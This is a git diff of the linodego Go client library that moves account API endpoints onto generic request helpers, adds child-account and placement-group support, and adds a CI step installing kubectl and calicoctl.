diff --git a/.github/workflows/ci.yml b/.github/workflows/ci.yml index f2bdb68c0..900126459 100644 --- a/.github/workflows/ci.yml +++ b/.github/workflows/ci.yml @@ -76,4 +76,4 @@ jobs: python tod_scripts/test_report_upload_script.py "$REPORT_FILENAME" env: LINODE_CLI_OBJ_ACCESS_KEY: ${{ secrets.LINODE_CLI_OBJ_ACCESS_KEY }} - LINODE_CLI_OBJ_SECRET_KEY: ${{ secrets.LINODE_CLI_OBJ_SECRET_KEY }} + LINODE_CLI_OBJ_SECRET_KEY: ${{ secrets.LINODE_CLI_OBJ_SECRET_KEY }} \ No newline at end of file diff --git a/.github/workflows/integration_tests_pr.yml b/.github/workflows/integration_tests_pr.yml index aaee9ccd2..785a8f2be 100644 --- a/.github/workflows/integration_tests_pr.yml +++ b/.github/workflows/integration_tests_pr.yml @@ -36,6 +36,14 @@ jobs: with: ref: ${{ inputs.sha }} + - name: Download kubectl and calicoctl for LKE clusters + run: | + curl -LO "https://storage.googleapis.com/kubernetes-release/release/$(curl -s https://storage.googleapis.com/kubernetes-release/release/stable.txt)/bin/linux/amd64/kubectl" + curl -LO "https://github.com/projectcalico/calico/releases/download/v3.25.0/calicoctl-linux-amd64" + chmod +x calicoctl-linux-amd64 kubectl + mv calicoctl-linux-amd64 /usr/local/bin/calicoctl + mv kubectl /usr/local/bin/kubectl + - run: make ARGS="-run ${{ inputs.module }}" fixtures if: ${{ inputs.module != '' && steps.disallowed-char-check.outputs.match == '' }} env: @@ -44,6 +52,13 @@ jobs: if: ${{ inputs.module == '' }} env: LINODE_TOKEN: ${{ secrets.DX_LINODE_TOKEN }} + + - name: Apply Calico Rules to LKE + if: always() + run: | + cd scripts && ./lke_calico_rules_e2e.sh + env: + LINODE_TOKEN: ${{ secrets.DX_LINODE_TOKEN }} - name: Get the hash value of the latest commit from the PR branch uses: octokit/graphql-action@v2.x diff --git a/Makefile b/Makefile index 460dd0802..1296b5776 100644 --- a/Makefile +++ b/Makefile @@ -77,7 +77,7 @@ run_fixtures: LINODE_API_VERSION="v4beta" \ LINODE_URL="$(LINODE_URL)" \ GO111MODULE="on" \ - go test -timeout=$(TEST_TIMEOUT) -v $(ARGS) + go test --tags $(TEST_TAGS) -timeout=$(TEST_TIMEOUT) -v $(ARGS) sanitize: @echo "* Sanitizing fixtures" diff --git a/README.md b/README.md index ec07e731d..d7898d501 100644 --- a/README.md +++ b/README.md @@ -33,36 +33,35 @@ package main import ( "context" "fmt" - - "github.com/linode/linodego" - "golang.org/x/oauth2" - "log" "net/http" "os" + + "github.com/linode/linodego" + "golang.org/x/oauth2" ) func main() { - apiKey, ok := os.LookupEnv("LINODE_TOKEN") - if !ok { - log.Fatal("Could not find LINODE_TOKEN, please assert it is set.") - } - tokenSource := oauth2.StaticTokenSource(&oauth2.Token{AccessToken: apiKey}) - - oauth2Client := &http.Client{ - Transport: &oauth2.Transport{ - Source: tokenSource, - }, - } - - linodeClient := linodego.NewClient(oauth2Client) - linodeClient.SetDebug(true) - - res, err := linodeClient.GetInstance(context.Background(), 4090913) - if err != nil { - log.Fatal(err) - } - fmt.Printf("%v", res) + apiKey, ok := os.LookupEnv("LINODE_TOKEN") + if !ok { + log.Fatal("Could not find LINODE_TOKEN, please assert it is set.") + } + tokenSource := oauth2.StaticTokenSource(&oauth2.Token{AccessToken: apiKey}) + + oauth2Client := &http.Client{ + Transport: &oauth2.Transport{ + Source: tokenSource, + }, + } + + linodeClient := linodego.NewClient(oauth2Client) + linodeClient.SetDebug(true) + + res, err := linodeClient.GetInstance(context.Background(), 4090913) + if err != nil { + log.Fatal(err) + } + fmt.Printf("%v", res) } ``` diff --git a/account.go b/account.go index 03d3297fd..ed022f47b 100644 --- a/account.go +++ b/account.go @@ -1,6 +1,12 @@ package linodego -import "context" +import ( + "context" + "encoding/json" + "time" + + "github.com/linode/linodego/internal/parseabletime" +) // Account associated with the token in use. type Account struct { @@ -20,6 +26,29 @@ type Account struct { Phone string `json:"phone"` CreditCard *CreditCard `json:"credit_card"` EUUID string `json:"euuid"` + BillingSource string `json:"billing_source"` + Capabilities []string `json:"capabilities"` + ActiveSince *time.Time `json:"-"` +} + +// UnmarshalJSON implements the json.Unmarshaler interface +func (account *Account) UnmarshalJSON(b []byte) error { + type Mask Account + + p := struct { + *Mask + ActiveSince *parseabletime.ParseableTime `json:"active_since"` + }{ + Mask: (*Mask)(account), + } + + if err := json.Unmarshal(b, &p); err != nil { + return err + } + + account.ActiveSince = (*time.Time)(p.ActiveSince) + + return nil } // CreditCard information associated with the Account. @@ -31,11 +60,10 @@ type CreditCard struct { // GetAccount gets the contact and billing information related to the Account. func (c *Client) GetAccount(ctx context.Context) (*Account, error) { e := "account" - req := c.R(ctx).SetResult(&Account{}) - r, err := coupleAPIErrors(req.Get(e)) + response, err := doGETRequest[Account](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*Account), nil + return response, nil } diff --git a/account_availability.go b/account_availability.go index d0341083b..3824f77bc 100644 --- a/account_availability.go +++ b/account_availability.go @@ -2,10 +2,6 @@ package linodego import ( "context" - "fmt" - "net/url" - - "github.com/go-resty/resty/v2" ) // AccountAvailability returns the resources availability in a region to an account. @@ -20,46 +16,23 @@ type AccountAvailability struct { Available []string `json:"available"` } -// AccountAvailabilityPagedResponse represents a paginated Account Availability API response -type AccountAvailabilityPagedResponse struct { - *PageOptions - Data []AccountAvailability `json:"data"` -} - -// endpoint gets the endpoint URL for AccountAvailability -func (AccountAvailabilityPagedResponse) endpoint(_ ...any) string { - return "/account/availability" -} - -func (resp *AccountAvailabilityPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(AccountAvailabilityPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*AccountAvailabilityPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - // ListAccountAvailabilities lists all regions and the resource availabilities to the account. func (c *Client) ListAccountAvailabilities(ctx context.Context, opts *ListOptions) ([]AccountAvailability, error) { - response := AccountAvailabilityPagedResponse{} - err := c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[AccountAvailability](ctx, c, "account/availability", opts) if err != nil { return nil, err } - return response.Data, nil + + return response, nil } // GetAccountAvailability gets the resources availability in a region to the customer. func (c *Client) GetAccountAvailability(ctx context.Context, regionID string) (*AccountAvailability, error) { - req := c.R(ctx).SetResult(&AccountAvailability{}) - regionID = url.PathEscape(regionID) - b := fmt.Sprintf("account/availability/%s", regionID) - r, err := coupleAPIErrors(req.Get(b)) + b := formatAPIPath("account/availability/%s", regionID) + response, err := doGETRequest[AccountAvailability](ctx, c, b) if err != nil { return nil, err } - return r.Result().(*AccountAvailability), nil + return response, nil } diff --git a/account_betas.go b/account_betas.go index 0897a4a73..830905a01 100644 --- a/account_betas.go +++ b/account_betas.go @@ -3,11 +3,8 @@ package linodego import ( "context" "encoding/json" - "fmt" - "net/url" "time" - "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) @@ -28,17 +25,6 @@ type AccountBetaProgramCreateOpts struct { ID string `json:"id"` } -// AccountBetasPagedResponse represents a paginated Account Beta Programs API response -type AccountBetasPagedResponse struct { - *PageOptions - Data []AccountBetaProgram `json:"data"` -} - -// endpoint gets the endpoint URL for AccountBetaProgram -func (AccountBetasPagedResponse) endpoint(_ ...any) string { - return "/account/betas" -} - // UnmarshalJSON implements the json.Unmarshaler interface func (cBeta *AccountBetaProgram) UnmarshalJSON(b []byte) error { type Mask AccountBetaProgram @@ -63,52 +49,35 @@ func (cBeta *AccountBetaProgram) UnmarshalJSON(b []byte) error { return nil } -func (resp *AccountBetasPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(AccountBetasPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*AccountBetasPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - // ListAccountBetaPrograms lists all beta programs an account is enrolled in. func (c *Client) ListAccountBetaPrograms(ctx context.Context, opts *ListOptions) ([]AccountBetaProgram, error) { - response := AccountBetasPagedResponse{} - err := c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[AccountBetaProgram](ctx, c, "/account/betas", opts) if err != nil { return nil, err } - return response.Data, nil + + return response, nil } // GetAccountBetaProgram gets the details of a beta program an account is enrolled in. func (c *Client) GetAccountBetaProgram(ctx context.Context, betaID string) (*AccountBetaProgram, error) { - req := c.R(ctx).SetResult(&AccountBetaProgram{}) - betaID = url.PathEscape(betaID) - b := fmt.Sprintf("/account/betas/%s", betaID) - r, err := coupleAPIErrors(req.Get(b)) + b := formatAPIPath("/account/betas/%s", betaID) + + response, err := doGETRequest[AccountBetaProgram](ctx, c, b) if err != nil { return nil, err } - return r.Result().(*AccountBetaProgram), nil + return response, nil } // JoinBetaProgram enrolls an account into a beta program. func (c *Client) JoinBetaProgram(ctx context.Context, opts AccountBetaProgramCreateOpts) (*AccountBetaProgram, error) { - body, err := json.Marshal(opts) - if err != nil { - return nil, err - } - e := "account/betas" - req := c.R(ctx).SetResult(&AccountBetaProgram{}).SetBody(string(body)) - r, err := coupleAPIErrors(req.Post(e)) + response, err := doPOSTRequest[AccountBetaProgram](ctx, c, e, opts) if err != nil { return nil, err } - return r.Result().(*AccountBetaProgram), nil + return response, nil } diff --git a/account_child.go b/account_child.go new file mode 100644 index 000000000..c11a9d3e6 --- /dev/null +++ b/account_child.go @@ -0,0 +1,47 @@ +package linodego + +import ( + "context" +) + +// ChildAccount represents an account under the current account. +// NOTE: This is an alias to prevent any future breaking changes. +type ChildAccount = Account + +// ChildAccountToken represents a short-lived token created using +// the CreateChildAccountToken(...) function. +// NOTE: This is an alias to prevent any future breaking changes. +type ChildAccountToken = Token + +// ListChildAccounts lists child accounts under the current account. +// NOTE: Parent/Child related features may not be generally available. +func (c *Client) ListChildAccounts(ctx context.Context, opts *ListOptions) ([]ChildAccount, error) { + return getPaginatedResults[ChildAccount]( + ctx, + c, + "account/child-accounts", + opts, + ) +} + +// GetChildAccount gets a single child accounts under the current account. +// NOTE: Parent/Child related features may not be generally available. +func (c *Client) GetChildAccount(ctx context.Context, euuid string) (*ChildAccount, error) { + return doGETRequest[ChildAccount]( + ctx, + c, + formatAPIPath("account/child-accounts/%s", euuid), + ) +} + +// CreateChildAccountToken creates a short-lived token that can be used to +// access the Linode API under a child account. +// The attributes of this token are not currently configurable. +// NOTE: Parent/Child related features may not be generally available. +func (c *Client) CreateChildAccountToken(ctx context.Context, euuid string) (*ChildAccountToken, error) { + return doPOSTRequest[ChildAccountToken, any]( + ctx, + c, + formatAPIPath("account/child-accounts/%s/token", euuid), + ) +} diff --git a/account_events.go b/account_events.go index b7f18a55d..678fc57ab 100644 --- a/account_events.go +++ b/account_events.go @@ -3,10 +3,8 @@ package linodego import ( "context" "encoding/json" - "fmt" "time" - "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/duration" "github.com/linode/linodego/internal/parseabletime" ) @@ -158,12 +156,20 @@ const ( ActionPaymentMethodAdd EventAction = "payment_method_add" ActionPaymentSubmitted EventAction = "payment_submitted" ActionPasswordReset EventAction = "password_reset" + ActionPlacementGroupCreate EventAction = "placement_group_create" + ActionPlacementGroupUpdate EventAction = "placement_group_update" + ActionPlacementGroupDelete EventAction = "placement_group_delete" + ActionPlacementGroupAssign EventAction = "placement_group_assign" + ActionPlacementGroupUnassign EventAction = "placement_group_unassign" + ActionPlacementGroupBecameNonCompliant EventAction = "placement_group_became_non_compliant" + ActionPlacementGroupBecameCompliant EventAction = "placement_group_became_compliant" ActionProfileUpdate EventAction = "profile_update" ActionStackScriptCreate EventAction = "stackscript_create" ActionStackScriptDelete EventAction = "stackscript_delete" ActionStackScriptUpdate EventAction = "stackscript_update" ActionStackScriptPublicize EventAction = "stackscript_publicize" ActionStackScriptRevise EventAction = "stackscript_revise" + ActionTaxIDInvalid EventAction = "tax_id_invalid" ActionTagCreate EventAction = "tag_create" ActionTagDelete EventAction = "tag_delete" ActionTFADisabled EventAction = "tfa_disabled" @@ -225,6 +231,7 @@ const ( EntityManagedService EntityType = "managed_service" EntityNodebalancer EntityType = "nodebalancer" EntityOAuthClient EntityType = "oauth_client" + EntityPlacementGroup EntityType = "placement_group" EntityProfile EntityType = "profile" EntityStackscript EntityType = "stackscript" EntityTag EntityType = "tag" @@ -261,17 +268,6 @@ type EventEntity struct { URL string `json:"url"` } -// EventsPagedResponse represents a paginated Events API response -type EventsPagedResponse struct { - *PageOptions - Data []Event `json:"data"` -} - -// endpoint gets the endpoint URL for Event -func (EventsPagedResponse) endpoint(_ ...any) string { - return "account/events" -} - // UnmarshalJSON implements the json.Unmarshaler interface func (i *Event) UnmarshalJSON(b []byte) error { type Mask Event @@ -294,51 +290,39 @@ func (i *Event) UnmarshalJSON(b []byte) error { return nil } -func (resp *EventsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(EventsPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*EventsPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - // ListEvents gets a collection of Event objects representing actions taken // on the Account. The Events returned depend on the token grants and the grants // of the associated user. func (c *Client) ListEvents(ctx context.Context, opts *ListOptions) ([]Event, error) { - response := EventsPagedResponse{} - err := c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[Event](ctx, c, "account/events", opts) if err != nil { return nil, err } - return response.Data, nil + return response, nil } // GetEvent gets the Event with the Event ID func (c *Client) GetEvent(ctx context.Context, eventID int) (*Event, error) { - req := c.R(ctx).SetResult(&Event{}) - e := fmt.Sprintf("account/events/%d", eventID) - r, err := coupleAPIErrors(req.Get(e)) + e := formatAPIPath("account/events/%d", eventID) + response, err := doGETRequest[Event](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*Event), nil + return response, nil } // MarkEventRead marks a single Event as read. func (c *Client) MarkEventRead(ctx context.Context, event *Event) error { - e := fmt.Sprintf("account/events/%d/read", event.ID) - _, err := coupleAPIErrors(c.R(ctx).Post(e)) + e := formatAPIPath("account/events/%d/read", event.ID) + _, err := doPOSTRequest[Event](ctx, c, e, []any{}) return err } // MarkEventsSeen marks all Events up to and including this Event by ID as seen. func (c *Client) MarkEventsSeen(ctx context.Context, event *Event) error { - e := fmt.Sprintf("account/events/%d/seen", event.ID) - _, err := coupleAPIErrors(c.R(ctx).Post(e)) + e := formatAPIPath("account/events/%d/seen", event.ID) + _, err := doPOSTRequest[Event](ctx, c, e, []any{}) return err } diff --git a/account_invoices.go b/account_invoices.go index d068662fa..afc88209f 100644 --- a/account_invoices.go +++ b/account_invoices.go @@ -3,10 +3,8 @@ package linodego import ( "context" "encoding/json" - "fmt" "time" - "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) @@ -31,36 +29,14 @@ type InvoiceItem struct { To *time.Time `json:"-"` } -// InvoicesPagedResponse represents a paginated Invoice API response -type InvoicesPagedResponse struct { - *PageOptions - Data []Invoice `json:"data"` -} - -// endpoint gets the endpoint URL for Invoice -func (InvoicesPagedResponse) endpoint(_ ...any) string { - return "account/invoices" -} - -func (resp *InvoicesPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(InvoicesPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*InvoicesPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - // ListInvoices gets a paginated list of Invoices against the Account func (c *Client) ListInvoices(ctx context.Context, opts *ListOptions) ([]Invoice, error) { - response := InvoicesPagedResponse{} - err := c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[Invoice](ctx, c, "account/invoices", opts) if err != nil { return nil, err } - return response.Data, nil + return response, nil } // UnmarshalJSON implements the json.Unmarshaler interface @@ -107,45 +83,21 @@ func (i *InvoiceItem) UnmarshalJSON(b []byte) error { // GetInvoice gets a single Invoice matching the provided ID func (c *Client) GetInvoice(ctx context.Context, invoiceID int) (*Invoice, error) { - req := c.R(ctx).SetResult(&Invoice{}) - e := fmt.Sprintf("account/invoices/%d", invoiceID) - r, err := coupleAPIErrors(req.Get(e)) + e := formatAPIPath("account/invoices/%d", invoiceID) + response, err := doGETRequest[Invoice](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*Invoice), nil -} - -// InvoiceItemsPagedResponse represents a paginated Invoice Item API response -type InvoiceItemsPagedResponse struct { - *PageOptions - Data []InvoiceItem `json:"data"` -} - -// endpoint gets the endpoint URL for InvoiceItems associated with a specific Invoice -func (InvoiceItemsPagedResponse) endpoint(ids ...any) string { - id := ids[0].(int) - return fmt.Sprintf("account/invoices/%d/items", id) -} - -func (resp *InvoiceItemsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(InvoiceItemsPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*InvoiceItemsPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil + return response, nil } // ListInvoiceItems gets the invoice items associated with a specific Invoice func (c *Client) ListInvoiceItems(ctx context.Context, invoiceID int, opts *ListOptions) ([]InvoiceItem, error) { - response := InvoiceItemsPagedResponse{} - err := c.listHelper(ctx, &response, opts, invoiceID) + response, err := getPaginatedResults[InvoiceItem](ctx, c, formatAPIPath("account/invoices/%d/items", invoiceID), opts) if err != nil { return nil, err } - return response.Data, nil + return response, nil } diff --git a/account_logins.go b/account_logins.go index 9b5f69a99..45f2a5f24 100644 --- a/account_logins.go +++ b/account_logins.go @@ -3,10 +3,8 @@ package linodego import ( "context" "encoding/json" - "fmt" "time" - "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) @@ -19,33 +17,13 @@ type Login struct { Status string `json:"status"` } -type LoginsPagedResponse struct { - *PageOptions - Data []Login `json:"data"` -} - -func (LoginsPagedResponse) endpoint(_ ...any) string { - return "account/logins" -} - -func (resp *LoginsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(LoginsPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*LoginsPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - func (c *Client) ListLogins(ctx context.Context, opts *ListOptions) ([]Login, error) { - response := LoginsPagedResponse{} - err := c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[Login](ctx, c, "account/logins", opts) if err != nil { return nil, err } - return response.Data, nil + return response, nil } // UnmarshalJSON implements the json.Unmarshaler interface @@ -69,12 +47,12 @@ func (i *Login) UnmarshalJSON(b []byte) error { } func (c *Client) GetLogin(ctx context.Context, loginID int) (*Login, error) { - req := c.R(ctx).SetResult(&Login{}) - e := fmt.Sprintf("account/logins/%d", loginID) - r, err := coupleAPIErrors(req.Get(e)) + e := formatAPIPath("account/logins/%d", loginID) + + response, err := doGETRequest[Login](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*Login), nil + return response, nil } diff --git a/account_notifications.go b/account_notifications.go index df65bd3e8..3820f0904 100644 --- a/account_notifications.go +++ b/account_notifications.go @@ -5,7 +5,6 @@ import ( "encoding/json" "time" - "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) @@ -57,40 +56,18 @@ const ( NotificationMaintenance NotificationType = "maintenance" ) -// NotificationsPagedResponse represents a paginated Notifications API response -type NotificationsPagedResponse struct { - *PageOptions - Data []Notification `json:"data"` -} - -// endpoint gets the endpoint URL for Notification -func (NotificationsPagedResponse) endpoint(_ ...any) string { - return "account/notifications" -} - -func (resp *NotificationsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(NotificationsPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*NotificationsPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - // ListNotifications gets a collection of Notification objects representing important, // often time-sensitive items related to the Account. An account cannot interact directly with // Notifications, and a Notification will disappear when the circumstances causing it // have been resolved. For example, if the account has an important Ticket open, a response // to the Ticket will dismiss the Notification. func (c *Client) ListNotifications(ctx context.Context, opts *ListOptions) ([]Notification, error) { - response := NotificationsPagedResponse{} - err := c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[Notification](ctx, c, "account/notifications", opts) if err != nil { return nil, err } - return response.Data, nil + return response, nil } // UnmarshalJSON implements the json.Unmarshaler interface diff --git a/account_oauth_client.go b/account_oauth_client.go index dba898d29..6f2a57a1c 100644 --- a/account_oauth_client.go +++ b/account_oauth_client.go @@ -2,11 +2,6 @@ package linodego import ( "context" - "encoding/json" - "fmt" - "net/url" - - "github.com/go-resty/resty/v2" ) // OAuthClientStatus constants start with OAuthClient and include Linode API Instance Status values @@ -85,92 +80,52 @@ func (i OAuthClient) GetUpdateOptions() (o OAuthClientUpdateOptions) { return } -// OAuthClientsPagedResponse represents a paginated OAuthClient API response -type OAuthClientsPagedResponse struct { - *PageOptions - Data []OAuthClient `json:"data"` -} - -// endpoint gets the endpoint URL for OAuthClient -func (OAuthClientsPagedResponse) endpoint(_ ...any) string { - return "account/oauth-clients" -} - -func (resp *OAuthClientsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(OAuthClientsPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*OAuthClientsPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - // ListOAuthClients lists OAuthClients func (c *Client) ListOAuthClients(ctx context.Context, opts *ListOptions) ([]OAuthClient, error) { - response := OAuthClientsPagedResponse{} - err := c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[OAuthClient](ctx, c, "account/oauth-clients", opts) if err != nil { return nil, err } - return response.Data, nil + return response, nil } // GetOAuthClient gets the OAuthClient with the provided ID func (c *Client) GetOAuthClient(ctx context.Context, clientID string) (*OAuthClient, error) { - req := c.R(ctx).SetResult(&OAuthClient{}) - clientID = url.PathEscape(clientID) - e := fmt.Sprintf("account/oauth-clients/%s", clientID) - r, err := coupleAPIErrors(req.Get(e)) + e := formatAPIPath("account/oauth-clients/%s", clientID) + response, err := doGETRequest[OAuthClient](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*OAuthClient), nil + return response, nil } // CreateOAuthClient creates an OAuthClient func (c *Client) CreateOAuthClient(ctx context.Context, opts OAuthClientCreateOptions) (*OAuthClient, error) { - body, err := json.Marshal(opts) - if err != nil { - return nil, err - } - - req := c.R(ctx).SetResult(&OAuthClient{}).SetBody(string(body)) e := "account/oauth-clients" - r, err := coupleAPIErrors(req.Post(e)) + response, err := doPOSTRequest[OAuthClient](ctx, c, e, opts) if err != nil { return nil, err } - return r.Result().(*OAuthClient), nil + return response, nil } // UpdateOAuthClient updates the OAuthClient with the specified id func (c *Client) UpdateOAuthClient(ctx context.Context, clientID string, opts OAuthClientUpdateOptions) (*OAuthClient, error) { - body, err := json.Marshal(opts) - if err != nil { - return nil, err - } - - req := c.R(ctx).SetResult(&OAuthClient{}).SetBody(string(body)) - - clientID = url.PathEscape(clientID) - - e := fmt.Sprintf("account/oauth-clients/%s", clientID) - r, err := coupleAPIErrors(req.Put(e)) + e := formatAPIPath("account/oauth-clients/%s", clientID) + response, err := doPUTRequest[OAuthClient](ctx, c, e, opts) if err != nil { return nil, err } - return r.Result().(*OAuthClient), nil + return response, nil } // DeleteOAuthClient deletes the OAuthClient with the specified id func (c *Client) DeleteOAuthClient(ctx context.Context, clientID string) error { - clientID = url.PathEscape(clientID) - e := fmt.Sprintf("account/oauth-clients/%s", clientID) - _, err := coupleAPIErrors(c.R(ctx).Delete(e)) + e := formatAPIPath("account/oauth-clients/%s", clientID) + err := doDELETERequest(ctx, c, e) return err } diff --git a/account_payments.go b/account_payments.go index a2fe17b64..452f53f16 100644 --- a/account_payments.go +++ b/account_payments.go @@ -3,10 +3,8 @@ package linodego import ( "context" "encoding/json" - "fmt" "time" - "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) @@ -57,63 +55,34 @@ func (i Payment) GetCreateOptions() (o PaymentCreateOptions) { return } -// PaymentsPagedResponse represents a paginated Payment API response -type PaymentsPagedResponse struct { - *PageOptions - Data []Payment `json:"data"` -} - -// endpoint gets the endpoint URL for Payment -func (PaymentsPagedResponse) endpoint(_ ...any) string { - return "account/payments" -} - -func (resp *PaymentsPagedResponse) castResult(r *resty.Request, e string) (int, int, error) { - res, err := coupleAPIErrors(r.SetResult(PaymentsPagedResponse{}).Get(e)) - if err != nil { - return 0, 0, err - } - castedRes := res.Result().(*PaymentsPagedResponse) - resp.Data = append(resp.Data, castedRes.Data...) - return castedRes.Pages, castedRes.Results, nil -} - // ListPayments lists Payments func (c *Client) ListPayments(ctx context.Context, opts *ListOptions) ([]Payment, error) { - response := PaymentsPagedResponse{} - err := c.listHelper(ctx, &response, opts) + response, err := getPaginatedResults[Payment](ctx, c, "account/payments", opts) if err != nil { return nil, err } - return response.Data, nil + return response, nil } // GetPayment gets the payment with the provided ID func (c *Client) GetPayment(ctx context.Context, paymentID int) (*Payment, error) { - req := c.R(ctx).SetResult(&Payment{}) - e := fmt.Sprintf("account/payments/%d", paymentID) - r, err := coupleAPIErrors(req.Get(e)) + e := formatAPIPath("account/payments/%d", paymentID) + response, err := doGETRequest[Payment](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*Payment), nil + return response, nil } // CreatePayment creates a Payment func (c *Client) CreatePayment(ctx context.Context, opts PaymentCreateOptions) (*Payment, error) { - body, err := json.Marshal(opts) - if err != nil { - return nil, err - } - - req := c.R(ctx).SetResult(&Payment{}).SetBody(string(body)) e := "accounts/payments" - r, err := coupleAPIErrors(req.Post(e)) + response, err := doPOSTRequest[Payment](ctx, c, e, opts) if err != nil { return nil, err } - return r.Result().(*Payment), nil + return response, nil } diff --git a/account_settings.go b/account_settings.go index 9a4b1362b..5edef5beb 100644 --- a/account_settings.go +++ b/account_settings.go @@ -2,7 +2,6 @@ package linodego import ( "context" - "encoding/json" ) // AccountSettings are the account wide flags or plans that effect new resources @@ -38,29 +37,24 @@ type AccountSettingsUpdateOptions struct { // GetAccountSettings gets the account wide flags or plans that effect new resources func (c *Client) GetAccountSettings(ctx context.Context) (*AccountSettings, error) { - req := c.R(ctx).SetResult(&AccountSettings{}) e := "account/settings" - r, err := coupleAPIErrors(req.Get(e)) + + response, err := doGETRequest[AccountSettings](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*AccountSettings), nil + return response, nil } // UpdateAccountSettings updates the settings associated with the account func (c *Client) UpdateAccountSettings(ctx context.Context, opts AccountSettingsUpdateOptions) (*AccountSettings, error) { - body, err := json.Marshal(opts) - if err != nil { - return nil, err - } - - req := c.R(ctx).SetResult(&AccountSettings{}).SetBody(string(body)) e := "account/settings" - r, err := coupleAPIErrors(req.Put(e)) + + response, err := doPUTRequest[AccountSettings](ctx, c, e, opts) if err != nil { return nil, err } - return r.Result().(*AccountSettings), nil + return response, nil } diff --git a/account_transfer.go b/account_transfer.go index 115573021..1420f2781 100644 --- a/account_transfer.go +++ b/account_transfer.go @@ -22,12 +22,12 @@ type AccountTransferRegion struct { // GetAccountTransfer gets current Account's network utilization for the current month. func (c *Client) GetAccountTransfer(ctx context.Context) (*AccountTransfer, error) { - req := c.R(ctx).SetResult(&AccountTransfer{}) e := "account/transfer" - r, err := coupleAPIErrors(req.Get(e)) + + response, err := doGETRequest[AccountTransfer](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*AccountTransfer), nil + return response, nil } diff --git a/account_user_grants.go b/account_user_grants.go index 221fb5f7b..f0ca1dc7b 100644 --- a/account_user_grants.go +++ b/account_user_grants.go @@ -2,9 +2,6 @@ package linodego import ( "context" - "encoding/json" - "fmt" - "net/url" ) type GrantPermissionLevel string @@ -69,30 +66,21 @@ type UserGrantsUpdateOptions struct { } func (c *Client) GetUserGrants(ctx context.Context, username string) (*UserGrants, error) { - username = url.PathEscape(username) - e := fmt.Sprintf("account/users/%s/grants", username) - req := c.R(ctx).SetResult(&UserGrants{}) - r, err := coupleAPIErrors(req.Get(e)) + e := formatAPIPath("account/users/%s/grants", username) + response, err := doGETRequest[UserGrants](ctx, c, e) if err != nil { return nil, err } - return r.Result().(*UserGrants), nil + return response, nil } func (c *Client) UpdateUserGrants(ctx context.Context, username string, opts UserGrantsUpdateOptions) (*UserGrants, error) { - body, err := json.Marshal(opts) + e := formatAPIPath("account/users/%s/grants", username) + response, err := doPUTRequest[UserGrants](ctx, c, e, opts) if err != nil { return nil, err } - username = url.PathEscape(username) - e := fmt.Sprintf("account/users/%s/grants", username) - req := c.R(ctx).SetResult(&UserGrants{}).SetBody(string(body)) - r, err := coupleAPIErrors(req.Put(e)) - if err != nil { - return nil, err - } - - return r.Result().(*UserGrants), nil + return response, nil } diff --git a/account_users.go b/account_users.go index d9633d881..e01e6dde4 100644 --- a/account_users.go +++ b/account_users.go @@ -3,18 +3,25 @@ package linodego import ( "context" "encoding/json" - "fmt" - "net/url" "time" - "github.com/go-resty/resty/v2" "github.com/linode/linodego/internal/parseabletime" ) +type UserType string + +const ( + UserTypeProxy UserType = "proxy" + UserTypeParent UserType = "parent" + UserTypeChild UserType = "child" + UserTypeDefault UserType = "default" +) + // User represents a User object type 